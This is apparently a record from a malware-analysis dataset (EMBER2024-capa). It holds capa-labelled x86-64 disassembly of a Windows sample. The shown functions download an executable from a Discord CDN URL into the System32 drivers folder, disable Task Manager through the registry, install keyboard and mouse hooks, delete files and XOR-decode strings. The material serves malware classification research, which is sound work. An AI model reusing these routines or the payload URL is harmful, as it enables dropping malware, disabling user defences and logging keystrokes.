joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400381c8
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x14012f0c0]
xor rax, rsp
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
and qword [rbp - 0x20], 0
and qword [rbp - 0x18], 0
mov r8d, reloc.WLDAP32.dll_Ordinal_27
lea rdx, str.C:WindowsSystem32drivers
lea rcx, [rbp - 0x30]
call fcn.14003d504
nop
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x20]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x14003822e
lea rcx, [rbp - 0x30]
call fcn.14003c5c0
lea rdx, str.retard.exe
lea rcx, [rbp - 0x30]
call fcn.14003cc54
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova r8, qword [rbp - 0x30]
and qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, str.https:__cdn.discordapp.com_attachments_1136580286159790150_1176708871537033336_retard.EXE_ex65791509is6566a009hmae2247f75b1d8cdf5ede46acea4394e8ca0706dc2b1398159674367fe6642263
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
test eax, eax
js 0x14003827f
lea rdx, str.Executable_downloaded_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14003ce58
jmp 0x1400382bd
lea rdx, str.Failed_to_download_the_executable._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14003ce58
lea rdx, [0x140036b54]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140036b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [0x14003cfe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rbp - 0x30]
call fcn.14003cbf0
xor al, al
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400a1580
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret
Function at 0x1400384cc
Capabilities:
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x14012f0c0]
xor rax, rsp
mov qword [rbp - 8], rax
and dword [rbp - 0x4c], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
and qword [rbp - 0x38], 0
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x30], rdi
mov byte [rbp - 0x48], 0
mov dword [rbp - 0x4c], 1
lea rcx, [rbp - 0x48]
call fcn.14003c740
mov ebx, edi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
movabs rax, 0x842108421084211
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 5
imul rax, rax, 0x3e
sub rcx, rax
lea r9, str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
mov r9b, byte [rcx + r9]
mov rcx, qword [rbp - 0x38]
cmp rcx, qword [rbp - 0x30]
jae 0x14003857d
lea rax, [rcx + 1]
mov qword [rbp - 0x38], rax
lea rax, [rbp - 0x48]
cmp qword [rbp - 0x30], rdi
cmova rax, qword [rbp - 0x48]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14003858f
mov r8b, byte [rbp - 0x50]
mov edx, 1
lea rcx, [rbp - 0x48]
call fcn.14003d630
sub rbx, 1
jne 0x14003851b
lea r9d, [rbx + 7]
lea r8, str.DESKTOP
xor edx, edx
lea rcx, [rbp - 0x48]
call fcn.14003d924
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
and qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov byte [rax], bl
mov ebx, 0x1000
mov rdx, qword [rbp - 0x30]
cmp rdx, rdi
jbe 0x140038611
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, rbx
jb 0x14003860c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003860c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a1670
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], rdi
cmova rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rdx, qword [rbp - 0x10]
cmp rdx, rdi
jbe 0x14003865d
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, rbx
jb 0x140038658
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140038658
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a1670
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400a1580
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140038688
Capabilities:
Delete file

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x1400386cd
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.File_deleted_successfully:
call fcn.14003ce58
mov rcx, rax
mov rdx, rbx
call fcn.14003ce58
lea rdx, [0x14003cfe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov al, 1
jmp 0x1400386fd
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Failed_to_delete_file:
call fcn.14003ce58
mov rcx, rax
mov rdx, rbx
call fcn.14003ce58
lea rdx, [0x14003cfe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140038a48
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1318]
mov eax, 0x13f0
call fcn.1400a2300
sub rsp, rax
mov rax, qword [0x14012f0c0]
xor rax, rsp
mov qword [rbp + 0x12e0], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
mov dword [rsp + 0x24], esi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
lea r8d, [rsi + 0x24]
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
lea rcx, [rsp + 0x30]
call fcn.140037e7c
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
or dword [rbp + 0x12d4], 0xffffffff
mov dword [rsp + 0x54], eax
lea r15d, [rsi + 1]
mov ecx, r15d
mov r8d, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x54], edx
add rcx, r15
cmp rcx, r8
jb 0x140038adb
mov dword [rsp + 0x50], r8d
mov r13d, dword [rsp + 0x40]
dec r13d
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], sil
mov dword [rsp + 0x24], r15d
mov r12d, 7
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
cmp r13d, 0xffffffff
jne 0x140038b42
call fcn.14003e528
mov r8d, eax
jmp 0x140038b89
lea esi, [r13 + 1]
call fcn.14003e528
mov r15d, esi
mov r8d, eax
imul r8, r15
cmp r8d, esi
jae 0x140038b7f
mov eax, esi
neg eax
xor edx, edx
div esi
mov esi, edx
cmp r8d, edx
jae 0x140038b7f
lea rcx, [rsp + 0x50]
call fcn.14003e528
mov r8d, eax
imul r8, r15
cmp r8d, esi
jb 0x140038b69
shr r8, 0x20
xor esi, esi
lea r15d, [rsi + 1]
lea rcx, [rsp + 0x30]
cmp r14, 0xf
cmova rcx, rdi
movsxd rax, r8d
mov r9b, byte [rax + rcx]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x140038bc7
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140038bbc
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], sil
jmp 0x140038bd7
mov r8b, byte [rsp + 0x20]
mov rdx, r15
mov rcx, rbx
call fcn.14003d630
sub r12, r15
jne 0x140038b2d
cmp r14, 0xf
jbe 0x140038c1a
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140038c12
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140038c12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400a1670
mov rax, rbx
mov rcx, qword [rbp + 0x12e0]
xor rcx, rsp
call fcn.1400a1580
lea r11, [rsp + 0x13f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140038cb4
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x13d0
call fcn.1400a2300
sub rsp, rax
mov rax, qword [0x14012f0c0]
xor rax, rsp
mov qword [rsp + 0x13c0], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov r13d, 0xffffffff
mov r12d, 1
mov dword [rsp + 0x34], eax
mov edx, r12d
mov dword [rsp + 0x13b4], r13d
mov r8d, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x34], eax
add rdx, r12
cmp rdx, r8
jb 0x140038d12
mov rax, qword [0x140148c80]
mov r15, qword [0x140148c78]
sub rax, r15
mov dword [rsp + 0x30], r8d
sar rax, 3
sub rax, r12
cmp rax, 0xffffffffffffffff
jne 0x140038d74
lea rcx, [rsp + 0x30]
call fcn.14003e528
mov ebx, eax
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14003e528
mov eax, eax
or rbx, rax
jmp 0x140038eb5
lea rbp, [rax + 1]
mov rdi, r13
mov esi, r12d
cmp r13, rax
jae 0x140038d92
shl rdi, 0x20
add esi, r12d
or rdi, r13
cmp rdi, rax
jb 0x140038d83
lea rcx, [rsp + 0x30]
call fcn.14003e528
lea r14d, [rsi - 1]
mov ebx, eax
mov esi, r14d
test r14d, r14d
je 0x140038dc2
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14003e528
mov eax, eax
or rbx, rax
add esi, r13d
jne 0x140038daa
mov rax, rbp
mul rbx
mov rcx, rax
mov r8, rdx
and rcx, rdi
mov rbx, rax
cmp rcx, rbp
jae 0x140038e2f
xor edx, edx
mov rax, rdi
sub rax, rbp
add rax, r12
div rbp
mov r12, rdx
cmp rcx, rdx
jae 0x140038e2f
lea rcx, [rsp + 0x30]
call fcn.14003e528
mov ebx, eax
mov esi, r14d
test r14d, r14d
je 0x140038e1b
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14003e528
mov eax, eax
or rbx, rax
add esi, r13d
jne 0x140038e03
mov rax, rbp
mul rbx
mov rbx, rax
mov r8, rdx
and rax, rdi
cmp rax, r12
jb 0x140038def
cmp dword [reloc.WS2_32.dll_accept], 2
jge 0x140038e93
mov rax, rdi
movabs rcx, 0x5555555555555555
shr rax, 1
and rax, rcx
movabs rcx, 0x3333333333333333
sub rdi, rax
mov rax, rdi
and rdi, rcx
shr rax, 2
and rax, rcx
add rax, rdi
mov rcx, rax
shr rcx, 4
add rcx, rax
movabs rax, 0xf0f0f0f0f0f0f0f
and rcx, rax
movabs rax, 0x101010101010101
imul rcx, rax
shr rcx, 0x38
jmp 0x140038e98
popcnt rcx, rdi
mov ecx, ecx
test cl, cl
je 0x140038eb5
cmp cl, 0x40
jb 0x140038eb1
movzx ecx, cl
mov rbx, r8
and ecx, 0x3f
shr rbx, cl
jmp 0x140038eb5
shrd rbx, r8, cl
mov rax, qword [r15 + rbx*8]
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.1400a1580
lea r11, [rsp + 0x13d0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140038f70
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x14012f0c0]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor ebx, ebx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov qword [r11 - 0x38], rbx
test ecx, ecx
mov eax, ebx
mov rcx, 0xffffffff80000001
setne al
xor r9d, r9d
mov dword [rsp + 0x58], eax
xor r8d, r8d
lea rax, [r11 - 0x28]
mov qword [r11 - 0x40], rax
mov qword [r11 - 0x48], rbx
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edi, eax
test eax, eax
jne 0x140039009
mov rcx, qword [rsp + 0x50]
lea r9d, [rbx + 4]
lea rax, [rsp + 0x58]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DisableTaskMgr
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
sete bl
mov eax, ebx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400a1580
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret

Function at 0x140039118
Capabilities:
Log keystrokes via application hook

Disassembly:
sub rsp, 0x28
test cl, cl
je 0x140039171
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor r9d, r9d
lea rdx, [0x140038f0c]
mov r8, rax
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
xor ecx, ecx
mov qword [0x140148960], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor r9d, r9d
lea rdx, [0x140038f48]
mov r8, rax
lea ecx, [r9 + 0xe]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x140148950], rax
add rsp, 0x28
ret
mov rcx, qword [0x140148960]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, qword [0x140148950]
add rsp, 0x28
jmp qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
Function at 0x14003e528
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x14003e58c
lea r8, [r9 + 8]
mov r11d, 0x7fffffff
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
and edx, r11d
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x14003e54c
mov ecx, dword [r9]
jmp 0x14003e665
cmp ecx, 0x4e0
jb 0x14003e665
lea r10, [r9 + 0x9c4]
mov esi, 0xe3
mov edi, dword [r10]
mov r11d, 0x7fffffff
mov eax, edi
mov edi, dword [r10 + 4]
mov edx, edi
lea r10, [r10 + 4]
xor edx, eax
and edx, r11d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rsi, 1
jne 0x14003e5ad
lea r10, [r9 + 0xd50]
mov esi, 0x18c
mov edi, dword [r10]
mov eax, edi
mov edi, dword [r10 + 4]
mov edx, edi
lea r10, [r10 + 4]
xor edx, eax
and edx, r11d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rsi, 1
jne 0x14003e5f5
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
and edx, r11d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov rsi, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
ret
Function at 0x14003f480
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 7], sil
je 0x14003f4b4
mov eax, esi
lea ecx, [rax + 0x63]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x14003f4a0
mov byte [r8 + 7], sil
add r8, 6
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.14003dd90
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14003f4d9
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14003d924
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14003f553
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f54e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f54e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a1670
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x14003f560
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov r10, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rsp + 0x28], rcx
xor ebx, ebx
cmp byte [r8 + 9], bl
je 0x14003f594
mov ecx, ebx
lea eax, [rcx + 0x63]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 8
jb 0x14003f580
mov byte [r8 + 9], bl
add r8, 8
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x50]
call fcn.14003dd90
nop
cmp byte [rdi + 9], 0
je 0x14003f5c4
lea eax, [rbx + 0x63]
xor byte [rbx + rdi], al
inc rbx
cmp rbx, 8
jb 0x14003f5b1
mov byte [rdi + 9], 0
lea r8, [rdi + 8]
lea r9, [rsp + 0x20]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.14003dd90
nop
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
movzx edx, byte [rsp + 0x20]
mov rcx, rsi
call fcn.140044db0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14003f634
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f62e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f62e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a1670
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14003f674
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f66f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f66f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a1670
mov rax, rsi
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret
Function at 0x14003f680
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 9], sil
je 0x14003f6b4
mov eax, esi
lea ecx, [rax + 0x63]
xor byte [r8 + rax], cl
inc rax
cmp rax, 8
jb 0x14003f6a0
mov byte [r8 + 9], sil
add r8, 8
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.14003dd90
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14003f6d9
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14003d924
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14003f753
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f74e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f74e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a1670
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x14003f760
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xa], sil
je 0x14003f794
mov eax, esi
lea ecx, [rax + 0x63]
xor byte [r8 + rax], cl
inc rax
cmp rax, 9
jb 0x14003f780
mov byte [r8 + 0xa], sil
add r8, 9
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.14003dd90
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14003f7b9
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14003d924
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14003f833
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f82e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f82e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a1670
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret